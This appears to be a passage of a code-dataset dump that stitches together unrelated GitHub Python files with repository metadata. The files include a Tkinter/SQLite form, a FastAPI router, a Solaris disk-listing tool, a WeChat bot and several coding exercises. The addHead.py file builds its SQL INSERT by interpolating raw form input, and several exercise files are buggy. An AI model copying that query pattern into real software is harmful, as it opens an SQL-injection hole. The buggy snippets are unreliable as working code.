list(map(int,input().split()))\n\nstart = 0\nend = len(data)\n\ndef first(array, start, end, target):\n while start <= end:\n mid = (end + start) // 2\n if array[mid] == target:\n end = mid - 1\n mid = end\n elif array[mid] < target:\n start = mid + 1\n return mid\n\ndef last(array, start, end, target):\n while start <= end:\n mid = (end + start) // 2\n\n if array[mid] == target:\n start = mid + 1\n mid = start\n elif array[mid] > target:\n end = mid - 1\n\n return mid\n\ndef binary_search(array, start, end, target):\n while start < end:\n mid = (end + start) // 2\n if array[mid] == target:\n f_num = first(array, start, mid - 1, target)\n l_num = last(array, mid + 1, end, target)\n return l_num - f_num - 1\n elif array[mid] < target:\n start = mid + 1\n else:\n end = mid - 1\n return -1\n\nprint(binary_search(data, 0, n - 1, x))\n\n\n\n","repo_name":"moong94/python_team_note","sub_path":"Binary_search/정렬된 배열에서 특정 수의 개수 구하기.py","file_name":"정렬된 배열에서 특정 수의 개수 구하기.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"17147944149","text":"\n\nmodel_args = {'em_len':300, \n 'code_size':300, \n 'encoder_size':150, \n 'encoder_n_dir':2, \n 'encoder_dropout':0,\n 'decoder_size':300, \n 'decoder_n_dir':1, \n 'decoder_dropout':0}\n\nnum_epochs = 10\nlearning_rate = 1e-3","repo_name":"mattresnick/MovieBuffs-Recommender","sub_path":"model/hparameters.py","file_name":"hparameters.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33353722659","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom tkinter import filedialog\nfrom tkinter import font\nimport main as mainwindow\n\nheadNameEntry, headTypeDropdown = None, None\n\n\ndef changedValue(dropDownMenu: ttk.Combobox):\n global headNameEntry\n if (not dropDownMenu.get() == \"NEW HEAD TYPE\") and (not headNameEntry == None):\n headNameEntry.configure(state=\"disabled\")\n\n\ndef submitHead(rigsDB: mainwindow.sqlite3.Connection, selected_rig: str, \n addHeadWindow, headTypeEntry: tk.Entry, \n headTypeDropdown: ttk.Combobox, patchEntry: tk.Entry, \n headNameEntry: tk.Entry, totalChannelsEntry: tk.Entry, \n intensityChannelEntry:tk.Entry,redChannelEntry: tk.Entry, \n greenChannelEntry: tk.Entry, blueChannelEntry: tk.Entry, \n amberChannelEntry: tk.Entry, whiteChannelEntry: tk.Entry, \n panChannelEntry: tk.Entry,tiltChannelEntry: tk.Entry, \n shutterChannelEntry: tk.Entry):\n # Example query\n # INSERT INTO example (Name, HeadType, Patch, Channels, Intensity, Red, Green, Blue, Amber, White, Pan, Tilt, Shutter) VALUES (\"FOH1\", \"Fresnel\", 3, 1, 1)\n headType = None\n print(headTypeDropdown.get())\n if headTypeDropdown.get() == \"NEW HEAD TYPE\":\n headType = headTypeDropdown.get()\n else:\n headType = headTypeEntry.get()\n try:\n query = f'''INSERT INTO {selected_rig} (Name, HeadType, Patch, Channels, \n Intensity, Red, Green, Blue, Amber, White, Pan, Tilt, Shutter) VALUES (\n {\"Unamed\" if (headNameEntry.get() == \"\") else headNameEntry.get()\n .replace(\" \", \"\")}, {headType}, {int(patchEntry.get())}, \n {int(totalChannelsEntry.get())}, \n {int(intensityChannelEntry.get()) if (not intensityChannelEntry.get() == \"\") else None}, \n {int(redChannelEntry.get()) if (not redChannelEntry.get() == \"\") else None},\n {int(greenChannelEntry.get()) if (not greenChannelEntry.get() == \"\") else None},\n {int(blueChannelEntry.get()) if (not blueChannelEntry.get() == \"\") else None},\n {int(amberChannelEntry.get()) if (not amberChannelEntry.get() == \"\") else None},\n {int(whiteChannelEntry.get()) if (not whiteChannelEntry.get() == \"\") else None},\n {int(panChannelEntry.get()) if (not panChannelEntry.get() == \"\") else None},\n {int(tiltChannelEntry.get()) if (not tiltChannelEntry.get() == \"\") else None},\n {int(shutterChannelEntry.get()) if (not shutterChannelEntry.get() == \"\") else None})'''.strip(\"\\n\")\n print(query.strip('''\n '''))\n except:\n messagebox.showerror(\"Error\", \"Please fill out all fields\")\n return \n rigsDB.execute(query)\n\ndef addHead(root, rigsDB, selected_rig):\n global headNameEntry, headTypeDropdown\n # Add head window\n addHeadWindow = tk.Toplevel(root)\n addHeadWindow.title(\"Add Head\")\n addHeadWindow.resizable(False, False)\n\n # Head addition form\n # Get the existing head types\n HeadTypes = f\"SELECT DISTINCT HeadType FROM {selected_rig}\"\n HeadTypeRows = rigsDB.execute(HeadTypes)\n HeadTypeRows = [row[0] for row in HeadTypeRows]\n\n # Insert blank option at 0\n HeadTypeRows.insert(0, \"NEW HEAD TYPE\")\n\n # ./mockup/addheads.html\n # Head type\n headTypeLabel = tk.Label(addHeadWindow, text=\"Head Type:\")\n headTypeLabel.grid(row=0, column=0, sticky=\"nw\")\n\n headTypeDropdown = ttk.Combobox(addHeadWindow, values=HeadTypeRows)\n headTypeDropdown.bind(\"<>\",\n changedValue(headTypeDropdown))\n headTypeDropdown.grid(row=1, column=0, sticky=\"nw\")\n\n # Head type label\n headTypeEntryLabel = tk.Label(addHeadWindow, text=\"Head Type Label (if not selected):\")\n headTypeEntryLabel.grid(row=0, column=3, sticky=\"nw\")\n\n # HeadType string input\n headTypeEntry = tk.Entry(addHeadWindow)\n headTypeEntry.grid(row=1, column=3, sticky=\"nw\")\n\n # Head name\n headNameLabel = tk.Label(addHeadWindow, text=\"Head Name:\")\n headNameLabel.grid(row=2, column=0, sticky=\"nw\")\n\n headNameEntry = tk.Entry(addHeadWindow)\n headNameEntry.grid(row=3, column=0, sticky=\"nw\")\n\n # Total number of channels\n totalChannelsLabel = tk.Label(addHeadWindow, text=\"Total Channels:\")\n totalChannelsLabel.grid(row=4, column=0, sticky=\"nw\")\n\n totalChannelsEntry = tk.Entry(addHeadWindow)\n totalChannelsEntry.grid(row=5, column=0, sticky=\"nw\")\n\n # intensity channel\n intensityChannelLabel = tk.Label(addHeadWindow, text=\"Intensity Channel:\")\n intensityChannelLabel.grid(row=6, column=0, sticky=\"nw\")\n\n intensityChannelEntry = tk.Entry(addHeadWindow)\n intensityChannelEntry.grid(row=7, column=0, sticky=\"nw\")\n\n # Red channel\n redChannelLabel = tk.Label(addHeadWindow, text=\"Red Channel:\")\n redChannelLabel.grid(row=8, column=0, sticky=\"nw\")\n\n redChannelEntry = tk.Entry(addHeadWindow)\n redChannelEntry.grid(row=9, column=0, sticky=\"nw\")\n\n # Green channel\n greenChannelLabel = tk.Label(addHeadWindow, text=\"Green Channel:\")\n greenChannelLabel.grid(row=10, column=0, sticky=\"nw\")\n\n greenChannelEntry = tk.Entry(addHeadWindow)\n greenChannelEntry.grid(row=11, column=0, sticky=\"nw\")\n\n # Blue channel\n blueChannelLabel = tk.Label(addHeadWindow, text=\"Blue Channel:\")\n blueChannelLabel.grid(row=12, column=0, sticky=\"nw\")\n\n blueChannelEntry = tk.Entry(addHeadWindow)\n blueChannelEntry.grid(row=13, column=0, sticky=\"nw\")\n\n # Amber channel\n amberChannelLabel = tk.Label(addHeadWindow, text=\"Amber Channel:\")\n amberChannelLabel.grid(row=16, column=0, sticky=\"nw\")\n\n amberChannelEntry = tk.Entry(addHeadWindow)\n amberChannelEntry.grid(row=17, column=0, sticky=\"nw\")\n\n # White channel\n whiteChannelLabel = tk.Label(addHeadWindow, text=\"White Channel:\")\n whiteChannelLabel.grid(row=14, column=0, sticky=\"nw\")\n\n whiteChannelEntry = tk.Entry(addHeadWindow)\n whiteChannelEntry.grid(row=15, column=0, sticky=\"nw\")\n\n # Pan channel\n panChannelLabel = tk.Label(addHeadWindow, text=\"Pan Channel:\")\n panChannelLabel.grid(row=18, column=0, sticky=\"nw\")\n\n panChannelEntry = tk.Entry(addHeadWindow)\n panChannelEntry.grid(row=19, column=0, sticky=\"nw\")\n\n # Tilt channel\n tiltChannelLabel = tk.Label(addHeadWindow, text=\"Tilt Channel:\")\n tiltChannelLabel.grid(row=20, column=0, sticky=\"nw\")\n\n tiltChannelEntry = tk.Entry(addHeadWindow)\n tiltChannelEntry.grid(row=21, column=0, sticky=\"nw\")\n\n # Shutter channel\n shutterChannelLabel = tk.Label(addHeadWindow, text=\"Shutter Channel:\")\n shutterChannelLabel.grid(row=22, column=0, sticky=\"nw\")\n\n shutterChannelEntry = tk.Entry(addHeadWindow)\n shutterChannelEntry.grid(row=23, column=0, sticky=\"nw\")\n\n # Patch input\n patchLabel = tk.Label(addHeadWindow, text=\"Patch:\")\n patchLabel.grid(row=24, column=0, sticky=\"nw\")\n\n patchEntry = tk.Entry(addHeadWindow)\n patchEntry.grid(row=25, column=0, sticky=\"nw\")\n\n # Submit button\n submitButton = tk.Button(addHeadWindow, text=\"Submit\", command=lambda:\n submitHead(rigsDB, selected_rig, addHeadWindow, headTypeEntry,\n headTypeDropdown, patchEntry, headNameEntry, \n totalChannelsEntry, \n intensityChannelEntry, redChannelEntry, \n greenChannelEntry, blueChannelEntry, \n amberChannelEntry, whiteChannelEntry, \n panChannelEntry, tiltChannelEntry, \n shutterChannelEntry))\n submitButton.grid(row=26, column=0, sticky=\"nw\")\n","repo_name":"parkero2/L3DISC","sub_path":"TKWindows/addHead.py","file_name":"addHead.py","file_ext":"py","file_size_in_byte":7790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35477865015","text":"from fastapi import APIRouter, status, Response\nfrom enum import Enum\nfrom typing import Optional\n\nrouter = APIRouter(prefix='/blog', tags=['blog'])\n\n\"\"\" @app.get('/blog/all')\ndef get_all_blog():\n return \"All blogs\" \"\"\"\n\n# making query parameters\n@router.get('/all', summary=\"Retrieve all blogs\",\ndescription=\"This api call, stimulate get all blogs\",\nresponse_description=\"The list of available blogs\")\ndef get_all_blog(page = 1, page_size: Optional[int] = 2):\n return {\n \"message\":f\"All {page_size} blogs on page {page}\"\n }\n\n\n# making query and path parameters\n@router.get('/{id}/comments/{comment_id}', tags=['comment'])\ndef get_comment_blog(id: int, comment_id: int, valid:bool= True, \\\n username: Optional[str]=None):\n\n \"\"\"\n Stimulate retrieve all comments\n \"\"\"\n return {\n \"message\" : f\"blog_id {id}, comment_id {comment_id}, valid {valid} username {username}\"\n }\n\nclass BlogType(str, Enum):\n short = 'short'\n long = 'long'\n story = 'story'\n\n\n@router.get('/type/{type}')\ndef get_blog_type(type: BlogType):\n return {\"message\":f\"The blog type is {type.value}\"}\n\n@router.get('/{id}', status_code=status.HTTP_200_OK)\ndef get_blog(id:int, response: Response):\n if id > 6:\n response.status_code = status.HTTP_404_NOT_FOUND\n return {\n \"message\": f\"Blog {id} not found\"\n }\n return {\"message\":f\"Blog with an ID {id}\"}\n\n","repo_name":"rhedwan/FastAPI","sub_path":"router/blog_get.py","file_name":"blog_get.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27664773531","text":"\"\"\"\n.20. Ler um sequencia de números inteiros e determinar se eles são pares ou não. Deverá ser informado\no número de dados lidos e número de valores pares. O processo termina quando for digitado o número 1000.\n\"\"\"\nn = int(input('Informe quantos numeros deseja digitar : '))\nprint('Digite 1000 para sair')\n\ncount_pares = 0\naux = 0\ncount_n_lidos = 0\nwhile aux != 1000:\n for i in range(0, n):\n vlr = int(input(f'Informe o valor {i+1}: '))\n if vlr % 2 == 0 and vlr != 1000:\n count_pares = count_pares + 1\n count_n_lidos = count_n_lidos + 1\n if vlr == 1000:\n aux = 1000\n break\n\n print(f'Foi(foram) lido(s) {count_n_lidos} numero(s)')\n print(f'Total de numeros pares lido = {count_pares}')\n","repo_name":"jocelinoFG017/IntroducaoAoPython","sub_path":"01-Cursos/GeekUniversity/Seção06-Estruturas_Repetição/Exs_1_ao_21/S06_Ex20.py","file_name":"S06_Ex20.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34677950540","text":"from sys import exit, argv\nfrom subprocess import Popen, PIPE\nfrom re import findall, match, sub, compile\nimport getopt\nimport os\nfrom socket import gethostname\n\nfilename = ''\nprintHex = False\nprintShort = False\ndiscovZpool = False\n\nprinton_iscsi = False\nprinton_dev = False\n\nexplo_prtconf = 'sysconfig/prtconf-vD.out'\nexplo_zpools = 'disks/zfs/zpool_status_-v.out'\nexplo_mpath = 'disks/mpathadm/mpathadm_list_LU.out'\n# arch_members = (explo_prtconf, explo_zpools, explo_mpath)\n\nlunlst = []\n\ndef usage():\n print (\"\"\"usage is:\nlist inforamtions for MPXIO devices\nwhere options are:\n\n -f|--file \n file with the output of prtdiag -Dv\n\t--explorer \n\n -s|--short list, list only devlink and storage LUN\n \n -z|--zpool print LUN of all zpools\n\n -x|--hex print LUN in hex like luxadm\n\"\"\")\n\nclass Lun(object):\n headprinted = False\n lst = []\n def __init__(self):\n self.guidlst = []\n self.lunlst = [] \n self.vendor = ''\n self.blksize= 512\n self.pblksize= 512\n self.devlink = '/dev/rdsk/c0t'\n \n def __init__(self,inst):\n self.guidlst = []\n self.lunlst = []\n self.vendor = ''\n self.inst = inst\n self.blksize= 512\n self.pblksize= 512\n self.devlink = '/dev/rdsk/c0t'\n\n def addDevId(self, id):\n self.devid = id.decode()\n def getDevId(self):\n return self.devid.decode()\n def addBlkSize(self, no):\n self.blksize = int(no,16)\n def addPBlkSize(self, no):\n self.pblksize = int(no,16)\n def addNBlk(self, no):\n self.nblocks = int(no,16)\n def addSerno(self, no):\n self.serial = no.decode()\n def addVendor(self, name):\n self.vendor = name.decode()\n def addProd(self, name):\n self.prod = name.decode()\n def addLink(self, name):\n self.devlink = name\n def addLun(self, no):\n self.lunlst.append(no)\n def addGuid(self,bguid):\n guid = bguid.decode()\n if guid not in self.guidlst:\n self.guidlst.append(guid)\n def getGuid(self):\n if len(self.guidlst) > 0:\n return self.guidlst[0]\n return None\n\n def setSinglePath(self):\n ''' is not a multipahing device '''\n self.singlepath = True\n\n def printVal(self):\n if not Lun.headprinted and not printShort:\n print (\"ssd devid devlink SN Vendor PROD size\\n\\tLun list\\n\\tGID/dev WWN\")\n Lun.headprinted = True\n elif not Lun.headprinted and not printShort:\n print (\"devlink, LUN list\")\n print (\"%3d\" % self.inst,end='')\n try:\n print ('' if printShort else \"%42s\" % self.devid,end='')\n print (\"%-50s\" % (\"%s\" % self.devlink),end='')\n except AttributeError:\n print (\"%-50s\" % 'none' if printShort else \"%-92s\" % 'none',end='')\n try:\n print ('' if printShort else \"%-28s\" % self.serial,end='')\n except AttributeError:\n print (\"%-28s\" % 'none',end='')\n try:\n print ('' if printShort else \"%-8s\" % self.vendor,end='')\n except AttributeError:\n print (\"%-8s\" % 'none',end='')\n try:\n print ('' if printShort else \"%-16s\" % self.prod,end='')\n except AttributeError:\n print (\"%-16s\" % 'none',end='')\n try:\n print (\"%8dGB\" % int(self.nblocks*self.blksize/1024/1024/1024),end='')\n except AttributeError:\n print (\"%10s\" % 'unknown',end='')\n try:\n if self.singlepath: print (\"single path\",end='')\n except AttributeError:\n pass\n try:\n if not printShort or len(self.lunlst) == 0:\n print ()\n for l in self.lunlst:\n print (\"\\tLUN %s\" % l if printHex else \"\\t%s,%d\" % (l.partition(',')[0],int(l.partition(',')[2],16)))\n if printShort:\n break\n except AttributeError:\n pass\n except ValueError:\n pass\n try:\n if not printShort:\n for g in self.guidlst:\n print (\"\\t%s\" % g)\n except AttributeError:\n print ()\n\n def merge(self):\n found = False\n for l in Lun.lst:\n try:\n if l.getDevId() == self.getDevId():\n found = True\n l.addGuid(self.getGuid())\n except AttributeError:\n pass\n if not found:\n Lun.lst.append(self)\n\ndef getZpoolDevs(ml=None, zl=None):\n mpdevs = []\n zpools = []\n\n if not ml or not zl:\n ml = Popen(['/usr/sbin/mpathadm','list', 'LU'], stdout=PIPE).stdout\n zl = Popen(['/usr/sbin/zpool','status'], env={'LC_ALL':'C'}, stdout=PIPE).stdout\n mpdevs = [ (line.strip().decode()) for line in ml.readlines() if b'rdsk' in line]\n \n lines = zl.readlines()\n iter_lines = iter(lines)\n devpat = compile('(/dev/(r)?dsk/)?(c.*d0)(s[0-9])?')\n for bline in iter_lines:\n line = bline.decode()\n if 'pool:' in line:\n zd = {}\n poolname = line.split()[1]\n zd[poolname] = []\n for bline in iter_lines:\n line = bline.decode()\n if len(line.split()) > 4:\n if line.split()[0] in ('errors:'):\n break\n if line.split()[0] in (poolname,'mirror-0', 'NAME', 'scan:'):\n continue\n if match(devpat, line.split()[0]):\n for d in mpdevs:\n if match(devpat, line.split()[0]).groups()[2] == match(devpat, d).groups()[2]:\n zd[poolname].append(d)\n break\n\n zpools.append(zd)\n return zpools\n \n\ndef getDev(iter_lines,inst):\n lun = Lun(inst)\n for bline in iter_lines:\n line = bline.decode()\n if 'sd, instance' in line:\n # offline LUN has no dev links\n lun.addLink('')\n lun.merge()\n return line\n if 'Device Minor Nodes:' in line :\n for bline in iter_lines:\n line = bline.decode()\n if len(lun.lunlst) == 0:\n # special handling for non multipathing device\n lun.setSinglePath()\n if line.split('=')[0].strip() == 'dev_path':\n l = sub('^[a-z]','',line.rpartition('@')[2].strip().split(':')[0])\n lun.addLun(l)\n continue\n if line.split('=')[0].strip() == 'dev_link':\n lun.addLink(line.split('=')[1].strip())\n break\n lun.merge()\n return line\n if 'name=' in line:\n if line.split('=')[1].split()[0] == \"'inquiry-serial-no'\":\n lun.addSerno(iter_lines.__next__().split(b'=')[1].split(b\"'\")[1])\n continue\n elif line.split('=')[1].split()[0] == \"'device-pblksize'\":\n lun.addPBlkSize(iter_lines.__next__().split(b'=')[1])\n continue\n elif line.split('=')[1].split()[0] == \"'device-blksize'\":\n lun.addBlkSize(iter_lines.__next__().split(b'=')[1])\n continue\n elif line.split('=')[1].split()[0] == \"'device-nblocks'\":\n lun.addNBlk(iter_lines.__next__().split(b'=')[1])\n continue\n elif line.split('=')[1].split()[0] == \"'devid'\":\n lun.addDevId(iter_lines.__next__().split(b'=')[1].split(b\"'\")[1])\n continue\n elif line.split('=')[1].split()[0] == \"'inquiry-product-id'\":\n lun.addProd(iter_lines.__next__().split(b'=')[1].split(b\"'\")[1])\n continue\n elif line.split('=')[1].split()[0] == \"'inquiry-vendor-id'\":\n lun.addVendor(iter_lines.__next__().split(b'=')[1].split(b\"'\")[1])\n continue\n elif line.split('=')[1].split()[0] == \"'client-guid'\":\n lun.addGuid(iter_lines.__next__().split(b'=')[1].split(b\"'\")[1])\n continue\n else:\n continue\n # pdb.set_trace()\n if match('[ ]*Path [0-9]*: [/a-z0-9@,]*',line.strip()):\n lun.addLun(line.rpartition('@')[2][1:].strip())\n\ndef openExplo(explorer):\n if os.path.isdir(explorer):\n fprtconf = open(os.path.join(explorer,explo_prtconf))\n fzpools = open(os.path.join(explorer,explo_zpools))\n fmpath = open(os.path.join(explorer,explo_mpath))\n elif os.path.isfile(explorer):\n import tarfile\n \n basetf = match(\"(.+).tar.*\", explorer).groups()[0]\n tar = tarfile.open(explorer)\n fprtconf = tar.extractfile(os.path.join(basetf, explo_prtconf))\n fzpools = tar.extractfile(os.path.join(basetf, explo_zpools))\n fmpath = tar.extractfile(os.path.join(basetf, explo_mpath))\n else:\n print (\"file/directory %s not found\" % explorer)\n exit(1)\n return fprtconf,fzpools,fmpath\n\n### MAIN PROGRAM ###\nif __name__ == '__main__':\n try:\n opts, args = getopt.getopt(argv[1:], '?hsxf:zg:',\n ['help', 'short', 'hex', 'file=', 'zpool', 'explorer='])\n\n except getopt.GetoptError as e:\n usage()\n exit(1)\n \n explorer = None\n fzpools = None\n fmpath = None\n for o, a in opts:\n if o in ('-h', '-?', '--help'):\n usage()\n exit(0)\n elif o in ('-x', '--hex'):\n printHex = True\n elif o in ('-s', '--short'):\n printShort = True\n elif o in ('-z', '--zpool'):\n discovZpool = True\n elif o in ('-f', '--file'):\n filename = a\n elif o in ('-g', '--explorer'):\n explorer = a\n\n zpools = []\n \n\n if explorer:\n if filename:\n print (\"WARNING: ignore %s because use explorer output\" % filename)\n fl,fzpools,fmpath = openExplo(explorer)\n else:\n if filename:\n if discovZpool:\n print (\"ERROR: would use ZPOOL data of %s\" % gethostname())\n exit(2)\n fl = open(filename)\n else:\n fmpath = Popen(['/usr/sbin/mpathadm','list', 'LU'], stdout=PIPE).stdout\n fzpools = Popen(['/usr/sbin/zpool','status'], env={'LC_ALL':'C'}, stdout=PIPE).stdout\n fl = Popen(['/usr/sbin/prtconf','-Dv'],stdout=PIPE).stdout\n if discovZpool:\n zpools = getZpoolDevs(fmpath, fzpools)\n \n lines = fl.readlines()\n iter_lines = iter(lines)\n prevline, line = None, iter_lines.__next__()\n for bline in iter_lines:\n line = bline.decode()\n if 'pseudo, instance' in line :\n printon_iscsi = False\n if 'iscsi, instance' in line or 'scsi_vhci, instance' in line:\n printon_iscsi = True\n if printon_iscsi and 'name=' in line and line.split('=')[1].split()[0] == \"'mpxio-disable'\":\n print ('mpxio-disable: %s' % (iter_lines.__next__().split(b'=')[1]).decode())\n if printon_iscsi and 'disk, instance' in line or 'sd, instance' in line:\n lastline = getDev(iter_lines,int(findall('#[0-9]*',line)[0].replace(\"#\",\"\")))\n while 'disk, instance' in lastline or 'sd, instance' in lastline:\n lastline = getDev(iter_lines,int(findall('#[0-9]*',lastline)[0].replace(\"#\",\"\")))\n\n # pdb.set_trace()\n if zpools:\n devpat = compile('(/dev/(r)?dsk/)?(c.*d0)(s[0-9])?')\n for zp in zpools:\n \n # import pdb; pdb.set_trace()\n print (\"\\nZpool: \", list(zp.keys())[0])\n for zpdev in zp.values():\n for l in Lun.lst:\n for zpd in zpdev:\n try:\n if match(devpat, l.devlink).groups()[2] == match(devpat, zpd).groups()[2]:\n l.printVal()\n break \n except AttributeError:\n pass\n else:\n for l in Lun.lst:\n l.printVal()\n\n","repo_name":"cgrzemba/dskdisp","sub_path":"dskdisp.py","file_name":"dskdisp.py","file_ext":"py","file_size_in_byte":12419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"69803219664","text":"import math\n\ndef isPrime(n):\n\tfor i in range(2, ceil(sqrt(n))):\n\t\tif n % i == 0:\n\t\t\treturn False\n\treturn True\n\ndef getLargestPrime(n):\n\tprint(type(n))\n\tfor i in range(ceil(sqrt(n)), 1, -1):\n\t\tprint(i)\n\t\tif isPrime(i):\n\t\t\tprint(i)\n\t\t\treturn i\n\treturn 1\n\t\t\nn = int(input(\"Target value:\"))\nprint(getLargestPrime(n))\nprint(isPrime(2))\nprint(isPrime(13))\nprint(isPrime(24))","repo_name":"KartikJha/code-quiver","sub_path":"python/comp-coding/largest-prime.py","file_name":"largest-prime.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"6497739198","text":"#attempt1:\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def rob(self, root: Optional[TreeNode]) -> int:\n @lru_cache(None)\n def find(root):\n if root:\n l1,r1,l2,r2 = [None]*4\n if root.left:\n l1 = root.left.left\n r1 = root.left.right\n if root.right:\n l2 = root.right.left\n r2 = root.right.right \n return max(root.val+find(l1)+find(l2)+find(r1)+find(r2),find(root.left)+find(root.right))\n return 0\n return find(root)\n","repo_name":"sreyansb/LeetCode","sub_path":"DEC2021/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"31990083798","text":"lista = [2,4,6,8,10,10]\n\n#com numeros repetidos\ndef segundoMaiorValor(lista):\n if len(lista) < 2:\n return \"Não há segundo maior valor.\"\n\n maiorValor = max(lista)\n lista.remove(maiorValor)\n segundoMaior = max(lista)\n\n return segundoMaior\n\n\n#sem numeros repetidos\ndef segundoMaiorValorSemRepetidos(lista):\n if len(lista) < 2:\n return \"Não há segundo maior valor.\"\n \n lista_sem_duplicatas = list(set(lista))\n\n maiorValor = max(lista_sem_duplicatas)\n lista_sem_duplicatas.remove(maiorValor)\n segundoMaior = max(lista_sem_duplicatas)\n\n return segundoMaior\n\nprint(segundoMaiorValor(lista))\nprint(segundoMaiorValorSemRepetidos(lista))","repo_name":"caiosaboia/ml-atividade-1","sub_path":"3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6499269808","text":"#attempt1: took hint that the computation should be between index 1 and n-2\n#index 2 to n-1(because if we take index 1, n-1 cant be taken)-> 69% \nclass Solution:\n def rob(self, nums: List[int]) -> int:\n n=len(nums)\n if n==1:\n return nums[0]\n if n==2:\n return max(nums[0],nums[1])\n def dp(dpt,index,endindex):\n if index>endindex:\n return 0\n if dpt[index]!=-1:\n return dpt[index]\n dpt[index]=max(nums[index]+dp(dpt,index+2,endindex),dp(dpt,index+1,endindex))\n return dpt[index]\n dpt=[-1 for i in range(n)]\n val=dp(dpt,0,n-2)\n dpt=[-1 for i in range(n)]\n val1=dp(dpt,1,n-1)\n return max(val,val1)\n \n \n \n","repo_name":"sreyansb/LeetCode","sub_path":"OCT2020/14.py","file_name":"14.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"17865127748","text":"from pathlib import Path\nfrom typing import Union\n\nfrom bibtexparser import dump, load\nfrom bibtexparser.bibdatabase import BibDatabase\n\nfrom .utils._checks import check_type\nfrom .utils._docs import fill_doc\nfrom .utils.logs import logger\n\n\n@fill_doc\ndef load_bib(file: Union[str, Path], encoding: str = \"utf-8\") -> BibDatabase:\n \"\"\"Load a BibTex file.\n\n Parameters\n ----------\n file : str | Path\n Path to the ``.bib`` file to load.\n %(encoding)s\n\n Returns\n -------\n bib_database : ``BibDatabase``\n BibTex database loaded.\n \"\"\"\n check_type(file, (str, Path), \"file\")\n file = Path(file) if isinstance(file, str) else file\n if file.suffix != \".bib\":\n raise IOError(\n f\"The provided file extension is not '.bib'. '{file.suffix}' is invalid.\"\n )\n if not file.exists():\n raise IOError(\"The provided file does not exist.\")\n\n logger.info(\"Loading file %s\", file)\n with open(file, \"r\", encoding=encoding) as bibtex_file:\n bib_database = load(bibtex_file)\n return bib_database\n\n\n@fill_doc\ndef save_bib(\n bib_database: BibDatabase,\n file: Union[str, Path],\n encoding: str = \"utf-8\",\n overwrite: bool = False,\n) -> None:\n \"\"\"Save a BibTex file.\n\n Parameters\n ----------\n bib_database : ``BibDatabase``\n BibTex database to save.\n file : str | Path\n Path to the ``.bib`` file to save.\n %(encoding)s\n overwrite : bool\n If True, an existing file will be overwritten.\n \"\"\"\n check_type(bib_database, (BibDatabase,), \"bib_database\")\n check_type(file, (str, Path), \"file\")\n file = Path(file) if isinstance(file, str) else file\n if file.suffix != \".bib\":\n raise IOError(\n f\"The provided file extension is not '.bib'. '{file.suffix}' is invalid.\"\n )\n check_type(overwrite, (bool,), \"overwrite\")\n if file.exists() and not overwrite:\n raise IOError(\n \"The provided file already exist. Set overwrite to True if you \"\n \"want to overwrite the file.\"\n )\n\n logger.info(\"Saving to file %s\", file)\n with open(file, \"w\", encoding=encoding) as bibtex_file:\n dump(bib_database, bibtex_file)\n","repo_name":"mscheltienne/bibclean","sub_path":"bibclean/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"71047416783","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/2/21 11:12\n# @Author : DannyDong\n# @File : wxrobot.py\n# @describe: 初试微信机器\n\nfrom wxpy import *\nimport json\nimport requests\nfrom jieba import *\n\n\n# 初试图灵机器人\ndef auto_ai(text):\n url = \"http://www.tuling123.com/openapi/api\"\n api_key = \"***\"\n payload = {\n \"key\": api_key,\n \"info\": text,\n \"userid\": \"***\"\n }\n r = requests.post(url, data=json.dumps(payload))\n result = json.loads(r.content)\n return \"[机智的小南瓜[机智]]\" + result[\"text\"]\n\n\nbot = Bot(cache_path=True) # 实现微信扫码登录,并且缓存信息\nprint('AI小南瓜已上线')\n\n\n# 自动接受好友请求\n@bot.register(msg_types=FRIENDS)\ndef auto_accept_friend(msg):\n if '天王盖地虎' in msg.text.lower():\n new_friend = bot.accept_friend(msg.card)\n new_friend.send('[AI小南瓜]你好啊~')\n\n\n# 监听微信信息并回复\n@bot.register(chats=[Friend])\ndef my_friend_message(msg):\n print('[接收]' + str(msg))\n if msg.type != 'Text':\n ret = '[得意][得意]'\n else:\n ret = auto_ai(msg.text)\n print('[发送]' + str(ret))\n\n # 将手机上的信息置为已读\n bot.auto_mark_as_read = True\n\n return ret\n\n\n# 打印所有好友\nfriends = bot.friends()\n# # 遍历所有好友\n# for friend in friends:\n# print(friend)\n\n# 统计\nprint(friends.stats_text())\n\n# '''\n# 制作词云,未完成\n# '''\n\n# 获取所有公众号\npublic = bot.mps()\n# for mp in public:\n# print(mp)\n\n# 获取所有群聊\ngroups = bot.groups()\n\n# 进程不结束\nembed()\n\n\n","repo_name":"DDDDanny/WeChatRobot","sub_path":"wxrobot.py","file_name":"wxrobot.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"15396630352","text":"import random\n\nimport pygame\nimport model\n\ndisplay = pygame.display.set_mode([model.WIDTH, model.HEIGHT])\n\nbitcoi = 